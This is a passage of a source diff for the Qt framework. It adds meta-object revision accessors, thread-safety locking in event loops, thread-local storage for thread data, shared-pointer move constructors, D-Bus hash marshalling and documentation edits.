@@ -158,6 +158,22 @@ Q_CORE_EXPORT RFs& qt_s60GetRFs();
 // Defined in qlocale_symbian.cpp.
 Q_CORE_EXPORT QByteArray qt_symbianLocaleName(int code);
 
+template <typename R>
+struct QScopedPointerRCloser
+{
+    static inline void cleanup(R *rPointer)
+    {
+        // Enforce a complete type.
+        // If you get a compile error here, read the section on forward declared
+        // classes in the QScopedPointer documentation.
+        typedef char IsIncompleteType[ sizeof(R) ? 1 : -1 ];
+        (void) sizeof(IsIncompleteType);
+
+        if (rPointer)
+            rPointer->Close();
+    }
+};
+
 QT_END_NAMESPACE
 
 QT_END_HEADER
diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp
index 9bd32d1..be86c58 100644
--- a/src/corelib/kernel/qcoreapplication.cpp
+++ b/src/corelib/kernel/qcoreapplication.cpp
@@ -392,16 +392,6 @@ void QCoreApplicationPrivate::createEventDispatcher()
 #endif
 }
 
-void QCoreApplicationPrivate::_q_initializeProcessManager()
-{
-#ifndef QT_NO_PROCESS
-#  ifdef Q_OS_UNIX
-    QProcessPrivate::initializeProcessManager();
-#  endif
-#endif
-}
-
-
 QThread *QCoreApplicationPrivate::theMainThread = 0;
 QThread *QCoreApplicationPrivate::mainThread()
 {
@@ -482,10 +472,10 @@ QString qAppName()
     operations can call processEvents() to keep the application
     responsive.
 
-    In general, we recommend that you create a QCoreApplication or
-    a QApplication object in your \c main() function as early as
-    possible. exit() will not return until the event loop exits;
-    e.g., when quit() is called.
+    In general, we recommend that you create a QCoreApplication or a
+    QApplication object in your \c main() function as early as
+    possible. exec() will not return until the event loop exits; e.g.,
+    when quit() is called.
 
     Several static convenience functions are also provided. The
     QCoreApplication object is available from instance(). Events can
@@ -666,6 +656,12 @@ void QCoreApplication::init()
     }
 #endif
 
+#if defined(Q_OS_UNIX) && !(defined(QT_NO_PROCESS))
+    // Make sure the process manager thread object is created in the main
+    // thread.
+    QProcessPrivate::initializeProcessManager();
+#endif
+
 #ifdef QT_EVAL
     extern void qt_core_eval_init(uint);
     qt_core_eval_init(d->application_type);
@@ -2732,5 +2728,3 @@ int QCoreApplication::loopLevel()
 */
 
 QT_END_NAMESPACE
-
-#include "moc_qcoreapplication.cpp"
diff --git a/src/corelib/kernel/qcoreapplication.h b/src/corelib/kernel/qcoreapplication.h
index 024c509..3957158 100644
--- a/src/corelib/kernel/qcoreapplication.h
+++ b/src/corelib/kernel/qcoreapplication.h
@@ -205,7 +205,6 @@ protected:
     QCoreApplication(QCoreApplicationPrivate &p);
 
 private:
-    Q_PRIVATE_SLOT(d_func(), void _q_initializeProcessManager())
     static bool sendSpontaneousEvent(QObject *receiver, QEvent *event);
     bool notifyInternal(QObject *receiver, QEvent *event);
 
diff --git a/src/corelib/kernel/qcoreapplication_p.h b/src/corelib/kernel/qcoreapplication_p.h
index fdceab4..add2a35 100644
--- a/src/corelib/kernel/qcoreapplication_p.h
+++ b/src/corelib/kernel/qcoreapplication_p.h
@@ -85,8 +85,6 @@ public:
     bool sendThroughObjectEventFilters(QObject *, QEvent *);
     bool notify_helper(QObject *, QEvent *);
 
-    void _q_initializeProcessManager();
-
     virtual QString appName() const;
     virtual void createEventDispatcher();
     static void removePostedEvent(QEvent *);
diff --git a/src/corelib/kernel/qeventdispatcher_symbian.cpp b/src/corelib/kernel/qeventdispatcher_symbian.cpp
index 8872045..53796be 100644
--- a/src/corelib/kernel/qeventdispatcher_symbian.cpp
+++ b/src/corelib/kernel/qeventdispatcher_symbian.cpp
@@ -657,7 +657,7 @@ public:
     : m_state(STATE_RUN), m_stop(false)
     {
         qt_symbian_throwIfError(m_lock.CreateLocal(0));
-        TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, NULL, this);
+        TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, &User::Allocator(), this);
         if (err != KErrNone)
             m_lock.Close();
         qt_symbian_throwIfError(err);
@@ -692,6 +692,7 @@ public:
 private:
     static TInt idleDetectorThreadFunc(TAny* self)
     {
+        User::RenameThread(_L("IdleDetectorThread"));
         static_cast<QIdleDetectorThread*>(self)->IdleLoop();
         return KErrNone;
     }
@@ -809,7 +810,7 @@ bool QEventDispatcherSymbian::processEvents ( QEventLoop::ProcessEventsFlags fla
         m_interrupt = false;
 
 #ifdef QT_SYMBIAN_PRIORITY_DROP
-        QTime eventTimer;
+        QElapsedTimer eventTimer;
 #endif
 
         while (1) {
diff --git a/src/corelib/kernel/qeventdispatcher_symbian_p.h b/src/corelib/kernel/qeventdispatcher_symbian_p.h
index b785aea..bdb6dce 100644
--- a/src/corelib/kernel/qeventdispatcher_symbian_p.h
+++ b/src/corelib/kernel/qeventdispatcher_symbian_p.h
@@ -63,6 +63,7 @@
 #include <qwaitcondition.h>
 #include <qsocketnotifier.h>
 #include <qdatetime.h>
+#include <qelapsedtimer.h>
 
 #include <e32base.h>
 
@@ -284,7 +285,7 @@ private:
 
     int m_delay;
     int m_avgEventTime;
-    QTime m_lastIdleRequestTimer;
+    QElapsedTimer m_lastIdleRequestTimer;
 };
 
 #ifdef QT_DEBUG
diff --git a/src/corelib/kernel/qeventdispatcher_win.cpp b/src/corelib/kernel/qeventdispatcher_win.cpp
index 3d8352e..6badb6a 100644
--- a/src/corelib/kernel/qeventdispatcher_win.cpp
+++ b/src/corelib/kernel/qeventdispatcher_win.cpp
@@ -532,10 +532,7 @@ LRESULT QT_WIN_CALLBACK qt_GetMessageHook(int code, WPARAM wp, LPARAM lp)
                     PostMessage(d->internalHwnd, WM_QT_SENDPOSTEDEVENTS, 0, 0);
                 }
             } else if (d->sendPostedEventsWindowsTimerId == 0
-                       && localSerialNumber != d->lastSerialNumber
-                       // if this message IS the one that triggers sendPostedEvents(), no need to post it again
-                       && (msg->hwnd != d->internalHwnd
-                           || msg->message != WM_QT_SENDPOSTEDEVENTS)) {
+                       && localSerialNumber != d->lastSerialNumber) {
                 // start a special timer to continue delivering posted events while
                 // there are still input and timer messages in the message queue
                 d->sendPostedEventsWindowsTimerId = SetTimer(d->internalHwnd,
diff --git a/src/corelib/kernel/qeventloop.cpp b/src/corelib/kernel/qeventloop.cpp
index e78f86a..d213b0e 100644
--- a/src/corelib/kernel/qeventloop.cpp
+++ b/src/corelib/kernel/qeventloop.cpp
@@ -175,6 +175,8 @@ bool QEventLoop::processEvents(ProcessEventsFlags flags)
 int QEventLoop::exec(ProcessEventsFlags flags)
 {
     Q_D(QEventLoop);
+    //we need to protect from race condition with QThread::exit
+    QMutexLocker locker(&static_cast<QThreadPrivate *>(QObjectPrivate::get(d->threadData->thread))->mutex);
     if (d->threadData->quitNow)
         return -1;
 
@@ -186,6 +188,7 @@ int QEventLoop::exec(ProcessEventsFlags flags)
     d->exit = false;
     ++d->threadData->loopLevel;
     d->threadData->eventLoops.push(this);
+    locker.unlock();
 
     // remove posted quit events when entering a new event loop
     QCoreApplication *app = QCoreApplication::instance();
@@ -205,6 +208,7 @@ int QEventLoop::exec(ProcessEventsFlags flags)
                  "reimplement QApplication::notify() and catch all exceptions there.\n");
 
         // copied from below
+        locker.relock();
         QEventLoop *eventLoop = d->threadData->eventLoops.pop();
         Q_ASSERT_X(eventLoop == this, "QEventLoop::exec()", "internal error");
         Q_UNUSED(eventLoop); // --release warning
@@ -216,6 +220,7 @@ int QEventLoop::exec(ProcessEventsFlags flags)
 #endif
 
     // copied above
+    locker.relock();
     QEventLoop *eventLoop = d->threadData->eventLoops.pop();
     Q_ASSERT_X(eventLoop == this, "QEventLoop::exec()", "internal error");
     Q_UNUSED(eventLoop); // --release warning
diff --git a/src/corelib/kernel/qmetaobject.cpp b/src/corelib/kernel/qmetaobject.cpp
index 7928f4f..c5775f6 100644
--- a/src/corelib/kernel/qmetaobject.cpp
+++ b/src/corelib/kernel/qmetaobject.cpp
@@ -1387,6 +1387,25 @@ int QMetaMethod::methodIndex() const
 }
 
 /*!
+    \internal
+
+    Returns the method revision if one was
+    specified by Q_REVISION, otherwise returns 0.
+ */
+int QMetaMethod::revision() const
+{
+    if (!mobj)
+        return 0;
+    if ((QMetaMethod::Access)(mobj->d.data[handle + 4] & MethodRevisioned)) {
+        int offset = priv(mobj->d.data)->methodData
+                     + priv(mobj->d.data)->methodCount * 5
+                     + (handle - priv(mobj->d.data)->methodData) / 5;
+        return mobj->d.data[offset];
+    }
+    return 0;
+}
+
+/*!
     Returns the access specification of this method (private,
     protected, or public).
 
@@ -2394,6 +2413,35 @@ int QMetaProperty::notifySignalIndex() const
 }
 
 /*!
+    \internal
+
+    Returns the property revision if one was
+    specified by REVISION, otherwise returns 0.
+ */
+int QMetaProperty::revision() const
+{
+    if (!mobj)
+        return 0;
+    int flags = mobj->d.data[handle + 2];
+    if (flags & Revisioned) {
+        int offset = priv(mobj->d.data)->propertyData +
+                     priv(mobj->d.data)->propertyCount * 3 + idx;
+        // Revision data is placed after NOTIFY data, if present.
+        // Iterate through properties to discover whether we have NOTIFY signals.
+        for (int i = 0; i < priv(mobj->d.data)->propertyCount; ++i) {
+            int handle = priv(mobj->d.data)->propertyData + 3*i;
+            if (mobj->d.data[handle + 2] & Notify) {
+                offset += priv(mobj->d.data)->propertyCount;
+                break;
+            }
+        }
+        return mobj->d.data[offset];
+    } else {
+        return 0;
+    }
+}
+
+/*!
     Returns true if this property is writable; otherwise returns
     false.
 
diff --git a/src/corelib/kernel/qmetaobject.h b/src/corelib/kernel/qmetaobject.h
index 4fb353d..e9bba45 100644
--- a/src/corelib/kernel/qmetaobject.h
+++ b/src/corelib/kernel/qmetaobject.h
@@ -70,6 +70,7 @@ public:
     enum Attributes { Compatibility = 0x1, Cloned = 0x2, Scriptable = 0x4 };
     int attributes() const;
     int methodIndex() const;
+    int revision() const;
 
     inline const QMetaObject *enclosingMetaObject() const { return mobj; }
 
@@ -202,6 +203,8 @@ public:
     QMetaMethod notifySignal() const;
     int notifySignalIndex() const;
 
+    int revision() const;
+
     QVariant read(const QObject *obj) const;
     bool write(QObject *obj, const QVariant &value) const;
     bool reset(QObject *obj) const;
diff --git a/src/corelib/kernel/qmetaobject_p.h b/src/corelib/kernel/qmetaobject_p.h
index dd0baf0..210b32c 100644
--- a/src/corelib/kernel/qmetaobject_p.h
+++ b/src/corelib/kernel/qmetaobject_p.h
@@ -78,7 +78,8 @@ enum PropertyFlags  {
     ResolveEditable = 0x00080000,
     User = 0x00100000,
     ResolveUser = 0x00200000,
-    Notify = 0x00400000
+    Notify = 0x00400000,
+    Revisioned = 0x00800000
 };
 
 enum MethodFlags  {
@@ -95,7 +96,8 @@ enum MethodFlags  {
 
     MethodCompatibility = 0x10,
     MethodCloned = 0x20,
-    MethodScriptable = 0x40
+    MethodScriptable = 0x40,
+    MethodRevisioned = 0x80
 };
 
 enum MetaObjectFlags {
diff --git a/src/corelib/kernel/qmetatype.h b/src/corelib/kernel/qmetatype.h
index 47d3a3b..a2bb7d1 100644
--- a/src/corelib/kernel/qmetatype.h
+++ b/src/corelib/kernel/qmetatype.h
@@ -138,7 +138,7 @@ template <typename T>
 void *qMetaTypeConstructHelper(const T *t)
 {
     if (!t)
-        return new T;
+        return new T();
     return new T(*static_cast<const T*>(t));
 }
 
diff --git a/src/corelib/kernel/qobjectdefs.h b/src/corelib/kernel/qobjectdefs.h
index 94e6241..54b5ab2 100644
--- a/src/corelib/kernel/qobjectdefs.h
+++ b/src/corelib/kernel/qobjectdefs.h
@@ -79,6 +79,7 @@ class QString;
 #define Q_INTERFACES(x)
 #define Q_PROPERTY(text)
 #define Q_PRIVATE_PROPERTY(d, text)
+#define Q_REVISION(v)
 #define Q_OVERRIDE(text)
 #define Q_ENUMS(x)
 #define Q_FLAGS(x)
@@ -180,6 +181,7 @@ private:
 #define Q_INTERFACES(x) Q_INTERFACES(x)
 #define Q_PROPERTY(text) Q_PROPERTY(text)
 #define Q_PRIVATE_PROPERTY(d, text) Q_PRIVATE_PROPERTY(d, text)
+#define Q_REVISION(v) Q_REVISION(v)
 #define Q_OVERRIDE(text) Q_OVERRIDE(text)
 #define Q_ENUMS(x) Q_ENUMS(x)
 #define Q_FLAGS(x) Q_FLAGS(x)
diff --git a/src/corelib/thread/qmutex.h b/src/corelib/thread/qmutex.h
index dfe4aae..5f75195 100644
--- a/src/corelib/thread/qmutex.h
+++ b/src/corelib/thread/qmutex.h
@@ -163,6 +163,7 @@ class QMutexData
         ~QMutexData();
 };
 
+#ifdef QT_NO_DEBUG
 inline void QMutex::unlockInline()
 {
     if (d->recursive) {
@@ -189,7 +190,13 @@ inline void QMutex::lockInline()
         lockInternal();
     }
 }
-
+#else // QT_NO_DEBUG
+//in debug we do not use inline calls in order to allow debugging tools
+// to hook the mutex locking functions.
+inline void QMutex::unlockInline() { unlock(); }
+inline bool QMutex::tryLockInline() { return tryLock(); }
+inline void QMutex::lockInline() { lock(); }
+#endif // QT_NO_DEBUG
 
 
 #else // QT_NO_THREAD
diff --git a/src/corelib/thread/qmutex_unix.cpp b/src/corelib/thread/qmutex_unix.cpp
index 5321252..11e2060 100644
--- a/src/corelib/thread/qmutex_unix.cpp
+++ b/src/corelib/thread/qmutex_unix.cpp
@@ -180,8 +180,11 @@ bool QMutexPrivate::wait(int timeout)
             errorCode = pthread_cond_timedwait(&cond, &mutex, &ti);
         }
         if (errorCode) {
-            if (errorCode == ETIMEDOUT)
+            if (errorCode == ETIMEDOUT) {
+                if (wakeup)
+                    errorCode = 0;
                 break;
+            }
             report_error(errorCode, "QMutex::lock()", "cv wait");
         }
     }
diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp
index 1494745..326f494 100644
--- a/src/corelib/thread/qthread.cpp
+++ b/src/corelib/thread/qthread.cpp
@@ -515,10 +515,12 @@ int QThread::exec()
 
     Note that unlike the C library function of the same name, this
     function \e does return to the caller -- it is event processing
-    that stops.
-
-    This function does nothing if the thread does not have an event
-    loop.
+    that stops. 
+    
+    No QEventLoops will be started anymore in this thread  until 
+    QThread::exec() has been called again. If the eventloop in QThread::exec()
+    is not running then the next call to QThread::exec() will also return
+    immediately.
 
     \sa quit() QEventLoop
 */
diff --git a/src/corelib/thread/qthread_p.h b/src/corelib/thread/qthread_p.h
index 9a2dbec..36e07c0 100644
--- a/src/corelib/thread/qthread_p.h
+++ b/src/corelib/thread/qthread_p.h
@@ -209,8 +209,6 @@ public:
     bool canWait;
     QVector<void *> tls;
 
-    QMutex mutex;
-
 # ifdef Q_OS_SYMBIAN
     RThread symbian_thread_handle;
 # endif
diff --git a/src/corelib/thread/qthread_unix.cpp b/src/corelib/thread/qthread_unix.cpp
index 0766447..5e0d2a2 100644
--- a/src/corelib/thread/qthread_unix.cpp
+++ b/src/corelib/thread/qthread_unix.cpp
@@ -110,6 +110,17 @@ QT_BEGIN_NAMESPACE
 
 enum { ThreadPriorityResetFlag = 0x80000000 };
 
+#if defined(Q_OS_LINUX) && defined(__GLIBC__) && (defined(Q_CC_GNU) || defined(Q_CC_INTEL))
+#define HAVE_TLS
+#endif
+#if defined(Q_CC_XLC) || defined (Q_CC_SUN)
+#define HAVE_TLS
+#endif
+
+#ifdef HAVE_TLS
+static __thread QThreadData *currentThreadData = 0;
+#endif
+
 static pthread_once_t current_thread_data_once = PTHREAD_ONCE_INIT;
 static pthread_key_t current_thread_data_key;
 
@@ -157,7 +168,9 @@ Q_DESTRUCTOR_FUNCTION(destroy_current_thread_data_key)
 // that pthread has, so pthread_setspecific is also used.
 static QThreadData *get_thread_data()
 {
-#ifdef Q_OS_SYMBIAN
+#ifdef HAVE_TLS
+    return currentThreadData;
+#elif defined Q_OS_SYMBIAN
     return reinterpret_cast<QThreadData *>(Dll::Tls());
 #else
     pthread_once(&current_thread_data_once, create_current_thread_data_key);
@@ -167,7 +180,9 @@ static QThreadData *get_thread_data()
 
 static void set_thread_data(QThreadData *data)
 {
-#ifdef Q_OS_SYMBIAN
+#ifdef HAVE_TLS
+    currentThreadData = data;
+#elif defined Q_OS_SYMBIAN
     qt_symbian_throwIfError(Dll::SetTls(data));
 #endif
     pthread_once(&current_thread_data_once, create_current_thread_data_key);
@@ -176,7 +191,9 @@ static void set_thread_data(QThreadData *data)
 
 static void clear_thread_data()
 {
-#ifdef Q_OS_SYMBIAN
+#ifdef HAVE_TLS
+    currentThreadData = 0;
+#elif defined Q_OS_SYMBIAN
     Dll::FreeTls();
 #endif
     pthread_setspecific(current_thread_data_key, 0);
@@ -310,7 +327,10 @@ void *QThreadPrivate::start(void *arg)
     set_thread_data(data);
 
     data->ref();
-    data->quitNow = false;
+    {
+        QMutexLocker locker(&thr->d_func()->mutex);
+        data->quitNow = thr->d_func()->exited;
+    }
 
     // ### TODO: allow the user to create a custom event dispatcher
     createEventDispatcher(data);
diff --git a/src/corelib/thread/qthread_win.cpp b/src/corelib/thread/qthread_win.cpp
index cb2d1a9..6b7932b 100644
--- a/src/corelib/thread/qthread_win.cpp
+++ b/src/corelib/thread/qthread_win.cpp
@@ -298,7 +298,10 @@ unsigned int __stdcall QThreadPrivate::start(void *arg)
 
     QThread::setTerminationEnabled(false);
 
-    data->quitNow = false;
+    {
+        QMutexLocker locker(&thr->d_func()->mutex);
+        data->quitNow = thr->d_func()->exited;
+    }
     // ### TODO: allow the user to create a custom event dispatcher
     createEventDispatcher(data);
 
diff --git a/src/corelib/tools/qbytearray.cpp b/src/corelib/tools/qbytearray.cpp
index cc81c1b..4799abd 100644
--- a/src/corelib/tools/qbytearray.cpp
+++ b/src/corelib/tools/qbytearray.cpp
@@ -492,7 +492,7 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel)
 #endif
 
 /*!
-    \fn QByteArray qUncompress(const QByteArray& data)
+    \fn QByteArray qUncompress(const QByteArray &data)
 
     \relates QByteArray
 
@@ -506,10 +506,10 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel)
     feature was added.
 
     \bold{Note:} If you want to use this function to uncompress external
-    data compressed using zlib, you first need to prepend four bytes to the
-    byte array that contain the expected length (as an unsigned integer)
-    of the uncompressed data encoded in big-endian order (most significant
-    byte first).
+    data that was compressed using zlib, you first need to prepend a four
+    byte header to the byte array containing the data. The header must
+    contain the expected length (in bytes) of the uncompressed data,
+    expressed as an unsigned, big-endian, 32-bit integer.
 
     \sa qCompress()
 */
@@ -687,12 +687,12 @@ QByteArray::Data QByteArray::shared_empty = { Q_BASIC_ATOMIC_INITIALIZER(1),
     values. To set all the bytes to a particular value, call fill().
 
     To obtain a pointer to the actual character data, call data() or
-    constData(). These functions return a pointer to the beginning of
-    the data. The pointer is guaranteed to remain valid until a
-    non-const function is called on the QByteArray. It is also
-    guaranteed that the data ends with a '\\0' byte. This '\\0' byte
-    is automatically provided by QByteArray and is not counted in
-    size().
+    constData(). These functions return a pointer to the beginning of the data.
+    The pointer is guaranteed to remain valid until a non-const function is
+    called on the QByteArray. It is also guaranteed that the data ends with a
+    '\\0' byte unless the QByteArray was created from a \l{fromRawData()}{raw
+    data}. This '\\0' byte is automatically provided by QByteArray and is not
+    counted in size().
 
     QByteArray provides the following basic functions for modifying
     the byte data: append(), prepend(), insert(), replace(), and
@@ -925,11 +925,13 @@ QByteArray &QByteArray::operator=(const char *str)
 
     Returns the number of bytes in this byte array.
 
-    The last byte in the byte array is at position size() - 1. In
-    addition, QByteArray ensures that the byte at position size() is
-    always '\\0', so that you can use the return value of data() and
-    constData() as arguments to functions that expect '\\0'-terminated
-    strings.
+    The last byte in the byte array is at position size() - 1. In addition,
+    QByteArray ensures that the byte at position size() is always '\\0', so
+    that you can use the return value of data() and constData() as arguments to
+    functions that expect '\\0'-terminated strings. If the QByteArray object
+    was created from a \l{fromRawData()}{raw data} that didn't include the
+    trailing null-termination character then QByteArray doesn't add it
+    automaticall unless the \l{deep copy} is created.
 
     Example:
     \snippet doc/src/snippets/code/src_corelib_tools_qbytearray.cpp 6
@@ -1060,10 +1062,11 @@ QByteArray &QByteArray::operator=(const char *str)
 
 /*! \fn const char *QByteArray::constData() const
 
-    Returns a pointer to the data stored in the byte array. The
-    pointer can be used to access the bytes that compose the array.
-    The data is '\\0'-terminated. The pointer remains valid as long
-    as the byte array isn't reallocated or destroyed.
+    Returns a pointer to the data stored in the byte array. The pointer can be
+    used to access the bytes that compose the array. The data is
+    '\\0'-terminated unless the QByteArray object was created from raw data.
+    The pointer remains valid as long as the byte array isn't reallocated or
+    destroyed.
 
     This function is mostly useful to pass a byte array to a function
     that accepts a \c{const char *}.
@@ -1072,7 +1075,7 @@ QByteArray &QByteArray::operator=(const char *str)
     but most functions that take \c{char *} arguments assume that the
     data ends at the first '\\0' they encounter.
 
-    \sa data(), operator[]()
+    \sa data(), operator[](), fromRawData()
 */
 
 /*! \fn void QByteArray::detach()
diff --git a/src/corelib/tools/qchar.cpp b/src/corelib/tools/qchar.cpp
index c003214..a903007 100644
--- a/src/corelib/tools/qchar.cpp
+++ b/src/corelib/tools/qchar.cpp
@@ -677,7 +677,7 @@ bool QChar::isSymbol() const
     \since 4.7
 
     Returns true if the UCS-4-encoded character specified by \a ucs4
-    is the high part of a utf16 surrogate
+    is the low part of a utf16 surrogate
     (ie. if its code point is between 0xdc00 and 0xdfff, inclusive).
 */
 
@@ -686,7 +686,7 @@ bool QChar::isSymbol() const
     \since 4.7
 
     Returns true if the UCS-4-encoded character specified by \a ucs4
-    can be splited to the high and low parts of a utf16 surrogate
+    can be split into the high and low parts of a utf16 surrogate
     (ie. if its code point is greater than or equals to 0x10000).
 */
 
diff --git a/src/corelib/tools/qeasingcurve.cpp b/src/corelib/tools/qeasingcurve.cpp
index 801600a..7daf95a 100644
--- a/src/corelib/tools/qeasingcurve.cpp
+++ b/src/corelib/tools/qeasingcurve.cpp
@@ -92,14 +92,18 @@
     animation.setEasingCurve(QEasingCurve::InOutQuad);
     \endcode
 
-    The ability to set an amplitude, overshoot, or period depends on the QEasingCurve type. Amplitude access
-    is available to curves that behave as springs such as elastic and bounce curves. Changing the amplitude changes
-    the height of the curve. Period access is only available to elastic curves and setting a higher period slows
-    the rate of bounce. Only curves that have "boomerang" behaviors such as the InBack, OutBack, InOutBack, and OutInBack 
-    have overshoot settings. These curves will interpolate beyond the end points and return to the end point, 
-    acting similar to a boomerang.
-
-    The \l{Easing Curves Example} contains samples of QEasingCurve types and lets you change the curve settings.
+    The ability to set an amplitude, overshoot, or period depends on
+    the QEasingCurve type. Amplitude access is available to curves
+    that behave as springs such as elastic and bounce curves. Changing
+    the amplitude changes the height of the curve. Period access is
+    only available to elastic curves and setting a higher period slows
+    the rate of bounce. Only curves that have "boomerang" behaviors
+    such as the InBack, OutBack, InOutBack, and OutInBack have
+    overshoot settings. These curves will interpolate beyond the end
+    points and return to the end point, acting similar to a boomerang.
+
+    The \l{Easing Curves Example} contains samples of QEasingCurve
+    types and lets you change the curve settings.
 
  */
 
diff --git a/src/corelib/tools/qset.h b/src/corelib/tools/qset.h
index a8ae40c..a2a8052 100644
--- a/src/corelib/tools/qset.h
+++ b/src/corelib/tools/qset.h
@@ -335,7 +335,7 @@ class QMutableSetIterator
     typedef typename QSet<T>::iterator iterator;
     QSet<T> *c;
     iterator i, n;
-    inline bool item_exists() const { return n != c->constEnd(); }
+    inline bool item_exists() const { return c->constEnd() != n; }
 
 public:
     inline QMutableSetIterator(QSet<T> &container)
diff --git a/src/corelib/tools/qshareddata.h b/src/corelib/tools/qshareddata.h
index 1bdba2c..1494373 100644
--- a/src/corelib/tools/qshareddata.h
+++ b/src/corelib/tools/qshareddata.h
@@ -114,6 +114,7 @@ public:
         return *this;
     }
 #ifdef Q_COMPILER_RVALUE_REFS
+    QSharedDataPointer(QSharedDataPointer &&o) : d(o.d) { o.d = 0; }
     inline QSharedDataPointer<T> &operator=(QSharedDataPointer<T> &&other)
     { qSwap(d, other.d); return *this; }
 #endif
@@ -197,7 +198,8 @@ public:
         return *this;
     }
 #ifdef Q_COMPILER_RVALUE_REFS
-    inline QSharedDataPointer<T> &operator=(QSharedDataPointer<T> &&other)
+    inline QExplicitlySharedDataPointer(QExplicitlySharedDataPointer &&o) : d(o.d) { o.d = 0; }
+    inline QExplicitlySharedDataPointer<T> &operator=(QExplicitlySharedDataPointer<T> &&other)
     { qSwap(d, other.d); return *this; }
 #endif
 
diff --git a/src/corelib/tools/qsharedpointer_impl.h b/src/corelib/tools/qsharedpointer_impl.h
index 273c5bd..b29e5b6 100644
--- a/src/corelib/tools/qsharedpointer_impl.h
+++ b/src/corelib/tools/qsharedpointer_impl.h
@@ -44,7 +44,17 @@
 #ifndef QSHAREDPOINTER_H
 #error Do not include qsharedpointer_impl.h directly
 #endif
+
 #if 0
+// These macros are duplicated here to make syncqt not complain a about
+// this header, as we have a "qt_sync_stop_processing" below, which in turn
+// is here because this file contains a template mess and duplicates the
+// classes found in qsharedpointer.h
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+QT_MODULE(Core)
+QT_END_NAMESPACE
+QT_END_HEADER
 #pragma qt_sync_stop_processing
 #endif
 
diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp
index 95c80a1..b7272ec 100644
--- a/src/corelib/tools/qstring.cpp
+++ b/src/corelib/tools/qstring.cpp
@@ -658,10 +658,11 @@ const QString::Null QString::null = { };
     class.)
 
     \table 100 %
+    \header
+    \o Note for C Programmers
+
     \row
     \o
-    \section1 Note for C Programmers
-
     Due to C++'s type system and the fact that QString is
     \l{implicitly shared}, QStrings may be treated like \c{int}s or
     other basic types. For example:
@@ -3890,8 +3891,7 @@ const char *QString::latin1_helper() const
     If \a size is -1 (default), it is taken to be qstrlen(\a
     str).
 
-    QTextCodec::codecForLocale() is used to perform the conversion
-    from Unicode.
+    QTextCodec::codecForLocale() is used to perform the conversion.
 
     \sa toLocal8Bit(), fromAscii(), fromLatin1(), fromUtf8()
 */
diff --git a/src/corelib/tools/qstringbuilder.cpp b/src/corelib/tools/qstringbuilder.cpp
index 53368eb..7d75de7 100644
--- a/src/corelib/tools/qstringbuilder.cpp
+++ b/src/corelib/tools/qstringbuilder.cpp
@@ -150,8 +150,8 @@ QT_BEGIN_NAMESPACE
 void QAbstractConcatenable::convertFromAscii(const char *a, int len, QChar *&out)
 {
 #ifndef QT_NO_TEXTCODEC
-    if (QString::codecForCStrings) {
-        QString tmp = QString::fromAscii(a);
+    if (QString::codecForCStrings && len) {
+        QString tmp = QString::fromAscii(a, len > 0 ? len - 1 : -1);
         memcpy(out, reinterpret_cast<const char *>(tmp.constData()), sizeof(QChar) * tmp.size());
         out += tmp.length();
         return;
diff --git a/src/corelib/tools/qstringbuilder.h b/src/corelib/tools/qstringbuilder.h
index 8d9537c..d230d67 100644
--- a/src/corelib/tools/qstringbuilder.h
+++ b/src/corelib/tools/qstringbuilder.h
@@ -270,10 +270,11 @@ template <> struct QConcatenable<QByteArray> : private QAbstractConcatenable
 {
     typedef QByteArray type;
     enum { ExactSize = false };
-    static int size(const QByteArray &ba) { return qstrnlen(ba.constData(), ba.size()); }
+    static int size(const QByteArray &ba) { return ba.size(); }
     static inline void appendTo(const QByteArray &ba, QChar *&out)
     {
-        QAbstractConcatenable::convertFromAscii(ba.constData(), -1, out);
+        // adding 1 because convertFromAscii expects the size including the null-termination
+        QAbstractConcatenable::convertFromAscii(ba.constData(), ba.size() + 1, out);
     }
 };
 #endif
diff --git a/src/dbus/qdbusargument.h b/src/dbus/qdbusargument.h
index 2c8693b..e331d8f 100644
--- a/src/dbus/qdbusargument.h
+++ b/src/dbus/qdbusargument.h
@@ -376,6 +376,21 @@ inline const QDBusArgument &operator>>(const QDBusArgument &arg, QHash<Key, T> &
     return arg;
 }
 
+inline QDBusArgument &operator<<(QDBusArgument &arg, const QVariantHash &map)
+{
+    arg.beginMap(QVariant::String, qMetaTypeId<QDBusVariant>());
+    QVariantHash::ConstIterator it = map.constBegin();
+    QVariantHash::ConstIterator end = map.constEnd();
+    for ( ; it != end; ++it) {
+        arg.beginMapEntry();
+        arg << it.key() << QDBusVariant(it.value());
+        arg.endMapEntry();
+    }
+    arg.endMap();
+    return arg;
+}
+
+
 QT_END_NAMESPACE
 
 Q_DECLARE_METATYPE(QDBusArgument)
diff --git a/src/dbus/qdbusdemarshaller.cpp b/src/dbus/qdbusdemarshaller.cpp
index 3882edb..6638263 100644
--- a/src/dbus/qdbusdemarshaller.cpp
+++ b/src/dbus/qdbusdemarshaller.cpp
@@ -176,10 +176,10 @@ QDBusArgument::ElementType QDBusDemarshaller::currentType()
     case DBUS_TYPE_INVALID:
         return QDBusArgument::UnknownType;
 
-    default:
-        qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
-                 q_dbus_message_iter_get_arg_type(&iterator),
-                 q_dbus_message_iter_get_arg_type(&iterator));
+//    default:
+//        qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
+//                 q_dbus_message_iter_get_arg_type(&iterator),
+//                 q_dbus_message_iter_get_arg_type(&iterator));
     }
     return QDBusArgument::UnknownType;
 }
@@ -232,10 +232,15 @@ QVariant QDBusDemarshaller::toVariantInternal()
         return QVariant::fromValue(duplicate());
 
     default:
-        qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
-                 q_dbus_message_iter_get_arg_type(&iterator),
-                 q_dbus_message_iter_get_arg_type(&iterator));
-        return QVariant();
+//        qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
+//                 q_dbus_message_iter_get_arg_type(&iterator),
+//                 q_dbus_message_iter_get_arg_type(&iterator));
+        char *ptr = 0;
+        ptr += q_dbus_message_iter_get_arg_type(&iterator);
+        q_dbus_message_iter_next(&iterator);
+
+        // I hope you never dereference this pointer!
+        return QVariant::fromValue<void *>(ptr);
         break;
     };
